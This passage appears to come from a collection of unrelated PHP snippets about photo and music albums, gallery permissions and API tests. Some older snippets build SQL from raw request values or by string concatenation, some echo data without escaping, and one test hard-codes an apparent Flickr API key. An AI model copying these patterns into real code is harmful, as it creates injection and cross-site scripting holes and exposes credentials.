$this->photos_tests->upload(\n\t\t\t\tAbstractTestCase::createUploadedFile(TestConstants::SAMPLE_FILE_TRAIN_IMAGE), $albumID12\n\t\t\t)->offsetGet('id');\n\t\t\t$photoID121 = $this->photos_tests->upload(\n\t\t\t\tAbstractTestCase::createUploadedFile(TestConstants::SAMPLE_FILE_HOCHUFERWEG), $albumID121\n\t\t\t)->offsetGet('id');\n\t\t\t$photoID13 = $this->photos_tests->upload(\n\t\t\t\tAbstractTestCase::createUploadedFile(TestConstants::SAMPLE_FILE_MONGOLIA_IMAGE), $albumID13\n\t\t\t)->offsetGet('id');\n\n\t\t\t$this->albums_tests->set_protection_policy(id: $albumID1, grants_full_photo_access: true, is_public: true, is_link_required: true);\n\t\t\t// Sic! We do not make album 1.1 public to ensure that the\n\t\t\t// search filter does not include too much\n\t\t\t$this->albums_tests->set_protection_policy($albumID12);\n\t\t\t$this->albums_tests->set_protection_policy($albumID121);\n\t\t\t$this->albums_tests->set_protection_policy($albumID13);\n\n\t\t\tAuth::logout();\n\t\t\tSession::flush();\n\t\t\t$this->clearCachedSmartAlbums();\n\n\t\t\t// Check that Recent and root album show nothing to ensure\n\t\t\t// that we eventually really test the special searchability\n\t\t\t// condition for positional data within hidden albums and do not\n\t\t\t// accidentally see the expected data, because we see the\n\t\t\t// corresponding photos anyway.\n\n\t\t\t$responseForRoot = $this->root_album_tests->get();\n\t\t\t$responseForRoot->assertJson([\n\t\t\t\t'smart_albums' => [\n\t\t\t\t\t'recent' => ['thumb' => null],\n\t\t\t\t],\n\t\t\t\t'tag_albums' => [],\n\t\t\t\t'albums' => [],\n\t\t\t\t'shared_albums' => [],\n\t\t\t]);\n\t\t\t$responseForRoot->assertJsonMissing([\n\t\t\t\t'unsorted' => null,\n\t\t\t\t'starred' => null,\n\t\t\t\t'public' => null,\n\t\t\t\t'on_this_day' => null,\n\t\t\t]);\n\t\t\tforeach ([$albumID1, $photoID1, $photoID11, $photoID12, $photoID121, $photoID13] as $id) {\n\t\t\t\t$responseForRoot->assertJsonMissing(['id' => $id]);\n\t\t\t}\n\n\t\t\t$responseForRecent = $this->albums_tests->get(RecentAlbum::ID);\n\t\t\t$responseForRecent->assertJson([\n\t\t\t\t'thumb' => null,\n\t\t\t\t'photos' => [],\n\t\t\t]);\n\t\t\tforeach ([$photoID11, $photoID12, $photoID121, $photoID13] as $id) {\n\t\t\t\t$responseForRecent->assertJsonMissing(['id' => $id]);\n\t\t\t}\n\n\t\t\t// Fetch positional data for the hidden, but public albums and\n\t\t\t// check whether we see the correct thumbnails\n\t\t\t$response = $this->albums_tests->getPositionData($albumID1, false);\n\t\t\t$response->assertJson([\n\t\t\t\t'id' => $albumID1,\n\t\t\t\t'title' => 'Test Album 1',\n\t\t\t\t'photos' => [['id' => $photoID1, 'title' => 'aarhus']],\n\t\t\t]);\n\t\t\tforeach ([$photoID11, $photoID12, $photoID121, $photoID13] as $id) {\n\t\t\t\t$response->assertJsonMissing(['id' => $id]);\n\t\t\t}\n\n\t\t\t$response = $this->albums_tests->getPositionData($albumID1, true);\n\t\t\t$response->assertJson([\n\t\t\t\t'id' => $albumID1,\n\t\t\t\t'title' => 'Test Album 1',\n\t\t\t]);\n\t\t\t$response->assertJsonFragment(['id' => $photoID1, 'title' => 'aarhus']);\n\t\t\t$response->assertJsonFragment(['id' => $photoID12, 'title' => 'train']);\n\t\t\t$response->assertJsonFragment(['id' => $photoID121,\t'title' => 'hochuferweg']);\n\t\t\t$response->assertJsonFragment(['id' => $photoID13, 'title' => 'mongolia']);\n\t\t\t$response->assertJsonMissing(['id' => $photoID11]); // photo 1.1 has not been made public\n\n\t\t\t$response = $this->albums_tests->getPositionData($albumID12, false);\n\t\t\t$response->assertJson([\n\t\t\t\t'id' => $albumID12,\n\t\t\t\t'title' => 'Test Album 1.2',\n\t\t\t\t'photos' => [['id' => $photoID12, 'title' => 'train']],\n\t\t\t]);\n\t\t\tforeach ([$photoID1, $photoID11, $photoID121, $photoID13] as $id) {\n\t\t\t\t$response->assertJsonMissing(['id' => $id]);\n\t\t\t}\n\n\t\t\t$response = $this->albums_tests->getPositionData($albumID12, true);\n\t\t\t$response->assertJson(['id' => $albumID12, 'title' => 'Test Album 1.2']);\n\t\t\t$response->assertJsonFragment(['id' => $photoID12, 'title' => 'train']);\n\t\t\t$response->assertJsonFragment(['id' => $photoID121,\t'title' => 'hochuferweg']);\n\t\t\tforeach ([$photoID1, $photoID11, $photoID13] as $id) {\n\t\t\t\t$response->assertJsonMissing(['id' => $id]);\n\t\t\t}\n\t\t} finally {\n\t\t\tConfigs::set(TestConstants::CONFIG_PUBLIC_HIDDEN, $arePublicPhotosHidden);\n\t\t\tConfigs::set(TestConstants::CONFIG_PUBLIC_SEARCH, $isPublicSearchEnabled);\n\t\t\tif ($isRecentPublic) {\n\t\t\t\tRecentAlbum::getInstance()->setPublic();\n\t\t\t} else {\n\t\t\t\tRecentAlbum::getInstance()->setPrivate();\n\t\t\t}\n\t\t\tConfigs::set(TestConstants::CONFIG_MAP_DISPLAY, $displayMap);\n\t\t\tConfigs::set(TestConstants::CONFIG_MAP_DISPLAY_PUBLIC, $displayMapPublicly);\n\t\t\tConfigs::set(TestConstants::CONFIG_MAP_INCLUDE_SUBALBUMS, $includeSubAlbums);\n\t\t\tAuth::logout();\n\t\t\tSession::flush();\n\t\t}\n\t}",
"public function getAlbum(): Album;",
"function getAlbums($type='LATEST')\n{\n\t$data = array();\n\t$condition = '';\n\tswitch($type)\n\t{\n\t\tcase 'LATEST':\n\t\t\t$condition = '';\n\t\tbreak;\n\t\t\n\t\tcase 'USER':\n\t\t\t$condition = 'AND a.album_type=3 ';\n\t\tbreak;\n\t\t\n\t\tcase 'EVENTS':\n\t\t\t$condition = 'AND a.album_type=1 ';\n\t\tbreak;\n\t\t\n\t\tcase 'MATCHES':\n\t\t\t$condition = 'AND a.album_type=2 ';\n\t\tbreak;\n\t}\n\t$q = 'SELECT a.album_id, a.name, at.name, u.username, a.user_id, a.date, p.thumb '.\n\t\t\t'FROM albums AS a, album_type AS at, users AS u, pictures AS p '.\n\t\t\t'WHERE a.user_id = u.user_id '.\n\t\t\t'AND a.album_type = at.type_id '.\n\t\t\t'AND a.cover_id = p.picture_id '.\n\t\t\t$condition.\n\t\t\t'ORDER BY a.date DESC';\n\t\n\t$res = mysql_query($q)\n\t\tor die(mysql_error());\n\twhile($row = mysql_fetch_array($res))\n\t{\n\t\t$data[] = array('id'=>$row['album_id'],\n\t\t\t\t\t\t'album_name'=>$row[1],\n\t\t\t\t\t\t'type_name'=>$row[2],\n\t\t\t\t\t\t'username'=>$row['username'],\n\t\t\t\t\t\t'date'=>$row['date'],\n\t\t\t\t\t\t'user_id'=>$row['user_id'],\n\t\t\t\t\t\t'pic_count'=>countPictures($row['album_id']),\n\t\t\t\t\t\t'cover'=>$row['thumb']);\n\t}\n\tSmartyPaginate::setTotal(count($data));\n\treturn array_slice($data, SmartyPaginate::getCurrentIndex(),SmartyPaginate::getLimit());\n}",
"function getAllTagsFromAlbum($albumname,$subalbums=false,$mode='images') {\n\tglobal $_zp_gallery;\n\t$passwordcheck = '';\n\t$imageWhere = '';\n\t$tagWhere = \"\";\n\t$albumname = sanitize($albumname);\n\tif(empty($albumname)) {\n\t\treturn FALSE;\n\t}\n\t$albumobj = new Album($_zp_gallery,$albumname);\n\tif(!$albumobj->exists) {\n\t\treturn FALSE;\n\t}\n\tif (zp_loggedin()) {\n\t\t$albumWhere = \"WHERE `dynamic`=0\";\n\t} else {\n\t\t$albumscheck = query_full_array(\"SELECT * FROM \" . prefix('albums'). \" ORDER BY title\");\n\t\tforeach($albumscheck as $albumcheck) {\n\t\t\tif(!checkAlbumPassword($albumcheck['folder'])) {\n\t\t\t\t$albumpasswordcheck= \" AND id != \".$albumcheck['id'];\n\t\t\t\t$passwordcheck = $passwordcheck.$albumpasswordcheck;\n\t\t\t}\n\t\t}\n\t\t$albumWhere = \"WHERE `dynamic`=0 AND `show`=1\".$passwordcheck;\n\t}\n\tif($subalbums) {\n\t\t$albumWhere .= \" AND `folder` LIKE \".db_quote($albumname.\"%\");\n\t} else {\n\t\t$albumWhere .= \" AND `folder` = \".db_quote($albumname);\n\t}\n\t$albumids = query_full_array(\"SELECT id, folder FROM \" . prefix('albums'). $albumWhere);\n\tswitch($mode) {\n\t\tcase \"images\":\n\t\t\tif(count($albumids) == 0) {\n\t\t\t\treturn FALSE;\n\t\t\t} else {\n\t\t\t\t$imageWhere = \" WHERE \";\n\t\t\t\t$count = \"\";\n\t\t\t\tforeach($albumids as $albumid) {\n\t\t\t\t\t$count++;\n\t\t\t\t\t$imageWhere .= 'albumid='. $albumid['id'];\n\t\t\t\t\tif($count != count($albumids)) $imageWhere .= \" OR \";\n\t\t\t\t}\n\t\t\t}\n\t\t\t$imageids = query_full_array(\"SELECT id, albumid FROM \" . prefix('images').$imageWhere);\n\t\t\t// if the album has no direct images and $subalbums is set to false\n\t\t\tif(count($imageids) == 0) {\n\t\t\t\treturn FALSE;\n\t\t\t} else {\n\t\t\t\t$count = \"\";\n\t\t\t\t$tagWhere = \" WHERE \";\n\t\t\t\tforeach($imageids as $imageid) {\n\t\t\t\t\t$count++;\n\t\t\t\t\t$tagWhere .= '(o.objectid ='. $imageid['id'].\" AND o.tagid = t.id AND o.type = 'images')\";\n\t\t\t\t\tif($count != count($imageids)) $tagWhere .= \" OR \";\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(empty($tagWhere)) {\n\t\t\t\treturn FALSE;\n\t\t\t} else {\n\t\t\t\t$tags = query_full_array(\"SELECT DISTINCT t.name, t.id, (SELECT DISTINCT COUNT(*) FROM \". prefix('obj_to_tag'). \" WHERE tagid = t.id AND type = 'images') AS count FROM \". prefix('obj_to_tag'). \" AS o,\". prefix('tags'). \" AS t\".$tagWhere.\" ORDER BY t.name\");\n\t\t\t}\n\t\t\tbreak;\n\t\tcase \"albums\":\n\t\t\t$count = \"\";\n\t\t\tif(count($albumids) == 0) {\n\t\t\t\treturn FALSE;\n\t\t\t} else {\n\t\t\t\t$tagWhere = \" WHERE \";\n\t\t\t\tforeach($albumids as $albumid) {\n\t\t\t\t\t$count++;\n\t\t\t\t\t$tagWhere .= '(o.objectid ='. $albumid['id'].\" AND o.tagid = t.id AND o.type = 'albums')\";\n\t\t\t\t\tif($count != count($albumids)) $tagWhere .= \" OR \";\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(empty($tagWhere)) {\n\t\t\t\treturn FALSE;\n\t\t\t} else {\n\t\t\t\t$tags = query_full_array(\"SELECT DISTINCT t.name, t.id, (SELECT DISTINCT COUNT(*) FROM \". prefix('obj_to_tag'). \" WHERE tagid = t.id AND o.type = 'albums') AS count FROM \". prefix('obj_to_tag'). \" AS o,\". prefix('tags'). \" AS t\".$tagWhere.\" ORDER BY t.name\");\n\t\t\t}\n\t\t\tbreak;\n\t}\n\treturn $tags;\n}",
"public function index(Albums $album)\n {\n return SongsResource::collection($album->songs);\n }",
"function getAlbums($operator_id, $page_no = 1) {\n\t\treturn $this->getResponse ( $this->getXmlApi (), 'getAlbums', array ('operator_id' => $operator_id, 'page_no' => $page_no ) );\n\t}",
"function setup_album()\n {\n $this->ipsclass->DB->simple_construct( array( \"select\" => 'id, name, member_id, public_album', 'from' => 'gallery_albums', 'where' => \"id={$this->ipsclass->input['album']}\" ) );\n $this->ipsclass->DB->simple_exec(); \n $info = $this->ipsclass->DB->fetch_row();\n\n // Are we allowed to view this album?\n if( $info['member_id'] == $this->ipsclass->member['id'] )\n {\n $own = true;\n }\n\n if( ! $info['public_album'] && ! $own )\n {\n $this->ipsclass->Error( array( 'LEVEL' => 1, 'MSG' => 'no_permission' ) );\n }\n\n return $info;\n }",
"public function albums()\n {\n return $this\n ->hasMany('App\\Album', 'artist')\n ->selectRaw('*, albums.title as album_title, albums.slug as album_slug, count(songs.id) as song_total')\n ->leftJoin('songs', 'albums.id', '=', 'songs.album')\n ->orderBy('released', 'asc')\n ->groupBy('albums.id');\n }",
"public function test_get_all_manufacturers() {\n $manufacturers = Manufacturer::factory(10)->create();\n $response = $this->getJson('/api/manufacturers');\n\n $response\n ->assertStatus(200)\n ->assertJson([\n \"manufacturers\" => $manufacturers->toArray(),\n \"message\" => \"Manufacturers found\",\n ]);\n }",
"public function testRetrieveTheMediaObjectList(): void\n {\n $response = $this->request('GET', '/api/media_objects');\n $json = json_decode($response->getContent(), true);\n\n $this->assertEquals(200, $response->getStatusCode());\n $this->assertEquals('application/json; charset=utf-8', $response->headers->get('Content-Type'));\n\n $this->assertCount(10, $json);\n\n foreach ($json as $key => $value) {\n $this->assertArrayHasKey('id', $json[$key]);\n $this->assertArrayHasKey('fileName', $json[$key]);\n $this->assertArrayHasKey('mimeType', $json[$key]);\n $this->assertArrayHasKey('createdAt', $json[$key]);\n } \n }",
"function get_album() {\n $sql = \"SELECT * FROM album\";\n $res = $this->mysqli->query($sql);\n $data = array();\n while ($row = $res->fetch_array(MYSQLI_ASSOC)) {\n $data[] = $row;\n }\n return $data;\n }",
"function prepare_albums(?Collection $albums)\n\t{\n\n\t\t$return = array();\n\n\t\tif ($albums != null) {\n\t\t\t// For each album\n\t\t\tforeach ($albums as $album_model) {\n\n\t\t\t\t// Turn data from the database into a front-end friendly format\n\t\t\t\t$album = $album_model->prepareData();\n\t\t\t\t$album['albums'] = $album_model->get_albums();\n\n\t\t\t\t// Thumbs\n\t\t\t\tif ((!Session::get('login') && $album_model->password === null) ||\n\t\t\t\t\t(Session::get('login'))) {\n\n\t\t\t\t\t$album['sysstamp'] = $album_model['created_at'];\n\t\t\t\t\t$album = $album_model->gen_thumbs($album);\n\t\t\t\t}\n\n\t\t\t\t// Add to return\n\t\t\t\t$return[] = $album;\n\t\t\t}\n\t\t}\n\n\t\treturn $return;\n\t}",
"public function getAlbum($album_name) {\n $query = \"SELECT\n al.id,\n al.name,\n al.year,\n al.version,\n al.location,\n al.sport,\n al.event_type,\n al.manufacturer,\n al.url\n FROM \" . $this->__schema . \".album al\n WHERE al.name = \" . $this->db()->quote($album_name);\n $data = $this->db()->getRow($query);\n if ($data) {\n return [\n 'success' => TRUE,\n 'payload' => $data,\n ];\n }\n else {\n return [\n 'success' => FALSE,\n 'payload' => NULL,\n ];\n }\n }",
"public function _testMultipleInventories()\n {\n\n }",
"public function getListItems()\n {\n return $this->getAlbums();\n }",
"function albums_site_show_images($album) {\n\tglobal $lang;\n\n\tif (!file_exists(ALBUMS_DIR.'/'.$album))\n\t\techo '<p>'.$lang['albums']['doesnt_exist'].'</p>';\n\n\telse {\n\t\t$images = albums_get_images($album);\n\t\tif ($images != FALSE) {\n\t\t\tforeach ($images as $image) {\n\t\t\t\t?>\n\t\t\t\t<div class=\"album\">\n\t\t\t\t\t<table>\n\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t\t<a href=\"<?php echo SITE_URL; ?>/data/modules/albums/albums_getimage.php?image=<?php echo $album; ?>/<?php echo $image['filename_image']; ?>\" rel=\"lytebox[album]\" title=\"<?php echo $image['title']; ?>\">\n\t\t\t\t\t\t\t\t\t<img src=\"<?php echo SITE_URL; ?>/data/modules/albums/albums_getimage.php?image=<?php echo $album; ?>/thumb/<?php echo $image['filename_image']; ?>\" alt=\"<?php echo $image['title']; ?>\" title=\"<?php echo $image['title']; ?>\" />\n\t\t\t\t\t\t\t\t</a>\n\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t\t<span class=\"albuminfo\"><?php echo $image['title']; ?></span>\n\t\t\t\t\t\t\t\t<br />\n\t\t\t\t\t\t\t\t<i><?php echo $image['info']; ?></i>\n\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t</tr>\n\t\t\t\t\t</table>\n\t\t\t\t</div>\n\t\t\t<?php\n\t\t\t}\n\t\t\tunset($image);\n\t\t}\n\t}\n}",
"function getAllAlbums($typ) {\r\r\n\t$PView = new PView;\r\r\n\tglobal $tp;\r\r\n\t\r\r\n\t$details = $PView->getPView_config(\"gal_details\");\r\r\n\t$showDetails = explode(\"|\",$details);\r\r\n\t\r\r\n\tif ($typ == \"root\"){\r\r\n\t\t$AllAlbumData = $PView -> getRootAlbumData();\r\r\n\t} else {\r\r\n\t\tif (!$PView -> getSubAlbumsCount()) { return \"\"; }// exit if no subalbums\r\r\n\t\t$AllAlbumData = $PView -> getSubAlbumData();\t\r\r\n\t}\r\r\n\r\r\n\t$out_AllAlbums = \"<tr><td colspan='2' style='padding-top:5px;'><table style='width:100%'>\";\r\r\n\tforeach ($AllAlbumData as $dataset) {\r\r\n\t\t//PERMISSION!!!\r\r\n\t\tif ($PView -> getPermission(\"album\",$dataset['albumId'],\"View\")) {\r\r\n\t\t\t$out_AllAlbums .= \"<tr><td><div style='background-image:url(\".e_PLUGIN.\"pviewgallery/templates/\".$PView -> getPView_config(\"template\").\"/images/ringbuch_650.jpg); background-repeat:no-repeat; width:660px; height:400px;'>\";\r\r\n\t\t\t$out_AllAlbums .= \"<table style='width:550px;'><tr style='height:300px;'><td style='text-align:left;padding-top:30px; width:40%;'>\";\r\r\n\t\t\tif (array_search(\"name\",$showDetails) !== FALSE) {\r\r\n\t\t\t\t$out_AllAlbums .= \"<a href='pviewgallery.php?album=\".$dataset['albumId'].\"'>\". $tp -> toHTML($dataset['name']).\"</a>\";\r\r\n\t\t\t}\r\r\n\t\t\tif (array_search(\"descr\",$showDetails) !== FALSE) {\r\r\n\t\t\t\t$out_AllAlbums .= \"<br><br>\". $tp -> toHTML($dataset['description']);\r\r\n\t\t\t}\r\r\n\t\t\t$out_AllAlbums .= \"</td><td style='text-align:right;padding-top:30px;width:60%;'><a href='pviewgallery.php?album=\".$dataset['albumId'].\"'><img src='\".$PView -> getAlbumImage($dataset['albumId']).\"' border='0px'></a></td></tr>\";\r\r\n\t\t\t$out_AllAlbums .= \"<tr><td style='text-align:left;'>\";\r\r\n\t\t\tif (array_search(\"edit\",$showDetails) !== FALSE && $PView -> getPermission(\"album\",$dataset['albumId'],\"Edit\")) {\r\r\n\t\t\t\t$out_AllAlbums .= \"<a href='pview_actions.php?album=\".$dataset['albumId'].\"&action=edit'>\".LAN_ALBUM_7.\"</a>\";\r\r\n\t\t\t}\r\r\n\t\t\t$out_AllAlbums .= \"</td><td style='text-align:right;'>\";\r\r\n\t\t\tif (array_search(\"info\",$showDetails) !== FALSE) {\r\r\n\t\t\t\t$out_AllAlbums .= LAN_ALBUM_1.\": \".$PView -> getAlbumImageCount($dataset['albumId']).\" / \".LAN_ALBUM_2.\": \".$PView -> getSubAlbumsCount($dataset['albumId']);\r\r\n\t\t\t}\r\r\n\t\t\t$out_AllAlbums .\"</td></tr>\";\r\r\n\t\t\t$out_AllAlbums .= \"</table> \";\r\r\n\t\t\t$out_AllAlbums .= \"</div></td></tr>\";\r\r\n\t\t}\r\r\n\t}\r\r\n\t\r\r\n\t$out_AllAlbums .= \"</table></td></tr>\";\r\r\n\tif (!strip_tags($out_AllAlbums)) {\r\r\n\t$out_AllAlbums = \"<tr><td colspan='2' style='padding:10px;'>\".LAN_GALLERY_4.\"</td></tr>\";\r\r\n\t}\r\r\nreturn $out_AllAlbums;\r\r\n}",
"function getFacebookAlbums_neases($value = '', $limit = '500', $after = '') {\n $facebook = $this->facebook;\n $access_token = $facebook->getAccessToken();\n\n $params = array('access_token' => $access_token);\n\n if ($this->nowUserId == 0)\n {\n return\n array(\"data\" => array(\n array(\n 'id' => '1',\n 'name' => 'test album'\n )\n )\n );\n }\n\n $albums = $facebook->api('' . $this->nowUserId . '/albums?limit=100');\n\n $pics = array();\n foreach($albums['data'] as $album):\n $pic = $facebook->api('' . $album['id'] . '/picture?redirect=false');\n $pics[] = $pic['data']['url'];\n endforeach;\n\n $albums['cover'] = $pics;\n return $albums;\n }",
"public function testGetAllBooks()\n {\n //Given we have books in the database\n $book = factory('App\\Book')->create();\n $bookTwo = factory('App\\Book')->create();\n // When the user visits the index page\n $response = $this->get('/api/books');\n //They should see the books Titles and authors\n $response\n ->assertStatus(200) \n ->assertSee($book->title)\n ->assertSee($book->author)\n ->assertSee($bookTwo->title)\n ->assertSee($bookTwo->author);\n \n }",
"public function apiIndex()\n {\n $albums = PhotoManager::getAlbums();\n return json_encode($albums);\n }",
"function get_albums($mysqli, $albumIDs)\n{\n\t$keys = array(\n\t\t\"al.albumID\",\n\t\t\"al.album_code\",\n\t\t\"al.album_name\",\n\t\t\"ar.artist_name\",\n\t\t\"g.genre AS general_genre\",\n\t\t\"al.genre\",\n\t\t\"r.review\",\n\t\t\"u.preferred_name AS reviewer\"\n\t);\n\n\t$q = \"SELECT \" . implode(\",\", $keys) . \" FROM `libalbum` AS al \"\n\t\t. \"INNER JOIN `libartist` AS ar ON ar.artistID=al.artistID \"\n\t\t. \"INNER JOIN `def_general_genres` AS g ON g.general_genreID=al.general_genreID \"\n\t\t. \"INNER JOIN `libreview` AS r ON r.albumID=al.albumID \"\n\t\t. \"INNER JOIN `users` AS u ON u.username=r.username \"\n\t\t. \"WHERE al.albumID IN ('\" . implode(\"', '\", $albumIDs) . \"')\";\n\t$result = exec_query($mysqli, $q);\n\n\t$albums = array();\n\twhile ( ($a = $result->fetch_assoc()) ) {\n\t\t$q = \"SELECT disc_num, track_num, track_name, airabilityID FROM `libtrack` \"\n\t\t\t. \"WHERE albumID = '$a[albumID]';\";\n\t\t$result_tracks = exec_query($mysqli, $q);\n\n\t\t$a[\"tracks\"] = array();\n\t\twhile ( ($t = $result_tracks->fetch_assoc()) ) {\n\t\t\t$a[\"tracks\"][] = $t;\n\t\t}\n\n\t\t$albums[] = $a;\n\t}\n\n\treturn $albums;\n}",
"public function testAll()\n\t\t{\n\t\t\tlist ($categoriesBefore) = $this->category->all(array ('nameContains' => 'Top Category'));\n\t\t\tforeach ($categoriesBefore as $categoryBefore) {\n\t\t\t\t$categoryBefore->delete();\n\t\t\t}\n\t\t\t\n\t\t\tfor ($i = 1; $i <= 3; $i++) {\n\t\t\t\t$this->category->create(\n\t\t\t\t\tarray (\n\t\t\t\t\t\t'categoryName' => array ('en' => \"Top Category $i\"),\n\t\t\t\t\t\t'categoryImage' => \"topcategory$i.jpg\"\n\t\t\t\t\t)\n\t\t\t\t);\n\t\t\t}\n\t\t\t\n\t\t\tlist ($categories, $count) = $this->category->all(array (\n\t\t\t\t'nameContains' => 'Top Category',\n\t\t\t\t'limit' => 2,\n\t\t\t\t'offset' => 1,\n\t\t\t\t'fields' => 'categoryId,categoryName'\n\t\t\t));\n\t\t\t\n\t\t\t$this->assertEquals(3, $count);\n\t\t\t$this->assertEquals(2, count($categories));\n\t\t\t\n\t\t\tfor ($j = 1; $j <= 2; $j++) {\n\t\t\t\t$this->assertEquals('Top Category '.($j + 1), $categories[$j - 1]->name->EN);\n\t\t\t\t$this->assertTrue(!isset($categories[$j - 1]->image));\n\t\t\t}\n\t\t}",
"public function albumDeleteAll()\n {\n try {\n $this->solrController->delete_all_product();\n return \"All albums record are deleted successfully\";\n } catch (Exception $exception) {\n Log::error(\"Album album solr bulk upload error \" . $exception->getMessage());\n }\n }",
"public function testAlbumBelongsToManyPicture()\n {\n $this->assertInstanceOf('Illuminate\\Database\\Eloquent\\Collection', $this->album->pictures);\n }",
"public function testFindAll()\n {\n $this->assertCount(4, $this->appService->findAll());\n }",
"public static function getAlbumsForDropdown()\n\t{\n\t\treturn BackendModel::getDB()->getPairs('SELECT i.id, d.title FROM pictures_albums AS i\n\t\t\t\t\t\t\t\t\t\t\t\tINNER JOIN pictures_albums_data AS d ON d.album_id = i.id AND d.language = ?', BackendLanguage::getInterfaceLanguage());\n\t}",
"public function getAlbums($id = null, $params)\n {\n\t\t\n\t\t//Lets do a check to see if we have data. If not, then load albums.\n\t\t$sql = \"SELECT count(*) AS total FROM albums\";\n $result = $this->db->query($sql);\n $total = $result->fetch(PDO::FETCH_ASSOC);\n \n if($total['total'] == 0) {\n\t\t\t$this->loadAlbums();\n\t\t}\n \n $where = '';\n if($id !== null) {\n\t\t\t$where = 'WHERE album_id = '. $this->db->quote($id);\n\t\t}\n \n if(isset($params['order_col'])) {\n\t\t\tswitch($params['order_dir']) {\n\t\t\t\tcase 'asc':\n\t\t\t\tcase 'ascending':\n\t\t\t\t $direction = 'asc';\n\t\t\t\t break;\n\t\t\t\tcase 'desc':\n\t\t\t\tcase 'descending':\n\t\t\t\tdefault:\n\t\t\t\t $direction = 'desc';\n\t\t\t}\n\t\t\t\n\t\t\t$order = 'ORDER BY '. $this->db->quote($params['order_col']) . ' '. $direction;\n\t\t} else {\n\t\t\t$order = 'ORDER BY rank';\n\t\t}\n\t\t\n\t\tif(isset($params['limit'])) {\n\t\t\t$limit = 'LIMIT '. intval($params['limit']);\n\t\t} else {\n\t\t\t$limit = '';\n\t\t}\n\t\t$sql = \"SELECT * FROM albums {$where} {$order} {$limit}\";\n \n $result = $this->db->query($sql);\n \n $results = [];\n\n while ($row = $result->fetch(PDO::FETCH_ASSOC)) {\n\t\t\t//Lets get album art.\n\t\t\t$row['art'] = $this->getAlbumArt($row['album_id']);\n\t\t\t\n\t\t\t//lets get category info as well\n\t\t\t$row['category'] = $this->getAlbumCategory($row['category_id']);\n\t\t\t\n $results[] = $row;\n }\n\n return $results;\n }",
"function albums_admin_show_albums() {\n\tglobal $lang;\n\t$albums = albums_get_albums();\n\n\tif ($albums == FALSE)\n\t\techo '<span class=\"kop4\">'.$lang['general']['nothing_yet'].'</span>';\n\n\telse {\n\t\tforeach ($albums as $album) {\n\t\t\t?>\n\t\t\t\t<div class=\"menudiv\">\n\t\t\t\t\t<span>\n\t\t\t\t\t\t<img src=\"<?php echo MODULE_DIR; ?>/images/albums.png\" alt=\"\" />\n\t\t\t\t\t</span>\n\t\t\t\t\t<span class=\"title-page\"><?php echo $album['title']; ?></span>\n\t\t\t\t\t<span>\n\t\t\t\t\t\t<a href=\"?module=albums&page=editalbum&var1=<?php echo $album['seoname']; ?>\">\n\t\t\t\t\t\t\t<img src=\"data/image/edit.png\" title=\"<?php echo $lang['albums']['edit_album']; ?>\" alt=\"<?php echo $lang['albums']['edit_album']; ?>\" />\n\t\t\t\t\t\t</a>\n\t\t\t\t\t</span>\n\t\t\t\t\t<span>\n\t\t\t\t\t\t<a href=\"?module=albums&page=deletealbum&var1=<?php echo $album['seoname']; ?>\">\n\t\t\t\t\t\t\t<img src=\"data/image/delete_from_trash.png\" title=\"<?php echo $lang['albums']['delete_album']; ?>\" alt=\"<?php echo $lang['albums']['delete_album']; ?>\" />\n\t\t\t\t\t\t</a>\n\t\t\t\t\t</span>\n\t\t\t\t</div>\n\t\t\t<?php\n\t\t}\n\t\tunset($albums);\n\t}\n}",
"public function testListCars(){\n $cars = Car::orderBy(\"created_at\", \"desc\")->with(\"type\", \"brand\", \"owner\")->get();\n $response = $this->json(\"GET\", \"/cars\");\n $response->assertJsonFragment($cars->first()->toArray());\n $response->assertStatus(200);\n }",
"public function testIndex() \n {\n $flickr = new flickr(\"0469684d0d4ff7bb544ccbb2b0e8c848\"); \n \n #check if search performed, otherwise default to 'sunset'\n $page=(isset($this->params['url']['p']))?$this->params['url']['p']:1;\n $search=(isset($this->params['url']['query']))?$this->params['url']['query']:'sunset';\n \n #execute search function\n $photos = $flickr->searchPhotos($search, $page);\n $pagination = $flickr->pagination($page,$photos['pages'],$search);\n \n echo $pagination;\n \n #ensure photo index in array\n $this->assertTrue(array_key_exists('photo', $photos)); \n \n #ensure 5 photos are returned\n $this->assertTrue(count($photos['photo'])==5); \n \n #ensure page, results + search in array\n $this->assertTrue(isset($photos['total'], $photos['displaying'], $photos['search'], $photos['pages']));\n \n #ensure pagination returns\n $this->assertTrue(substr_count($pagination, '<div class=\"pagination\">') > 0);\n \n #ensure pagination links\n $this->assertTrue(substr_count($pagination, '<a href') > 0);\n \n }",
"public function getAlbums(array $conditions = array(), array $fetchOptions = array())\n\t{\n\t\t$bind = array();\n\t\t\n\t\t$whereClause = $this->prepareAlbumConditions($conditions, $fetchOptions);\n\t\t\n\t\t$joinOptions = $this->prepareAlbumFetchOptions($fetchOptions, $conditions);\n\t\t$limitOptions = $this->prepareLimitFetchOptions($fetchOptions);\n\t\t$sqlClauses = $this->prepareAlbumFetchOptions($fetchOptions, $conditions);\n\n\t\t$albums = $this->fetchAllKeyed($this->limitQueryResults('\n\t\t\tSELECT album.*\n\t\t\t\t' . $joinOptions['selectFields'] . '\n\t\t\tFROM xengallery_album AS album\n\t\t\t\t' . $joinOptions['joinTables'] . '\n\t\t\t\tWHERE ' . $whereClause . '\n\t\t\t\t' . $sqlClauses['orderClause'] . '\t\t\t\n\t\t\t', $limitOptions['limit'], $limitOptions['offset']\n\t\t), 'album_id', $bind);\n\t\t\n\t\treturn $albums;\n\t}",
"function getallalbumsindb(&$album_array)\r\n{\r\n global $xoopsDB;\r\n\r\n $sql = \"SELECT aid, title \".\r\n \"FROM \".$xoopsDB->prefix(\"xcgal_albums\").\" \".\r\n \"WHERE 1\";\r\n $result = $xoopsDB->query($sql);\r\n\r\n while ($row = $xoopsDB->fetchArray($result)) {\r\n $album_array[$row['aid']]= $row['title'];\r\n }\r\n $xoopsDB->freeRecordSet($result);\r\n}",
"public function testListingWithFilters()\n {\n $filters[] = ['limit' => 30, 'page' => 30];\n $filters[] = ['listing_type' => 'public'];\n foreach ($filters as $k => $v) {\n $client = static::createClient();\n $client->request('GET', '/v2/story', $v, [], $this->headers);\n $this->assertStatusCode(200, $client);\n\n $response = json_decode($client->getResponse()->getContent(), true);\n $this->assertTrue(is_array($response));\n }\n }",
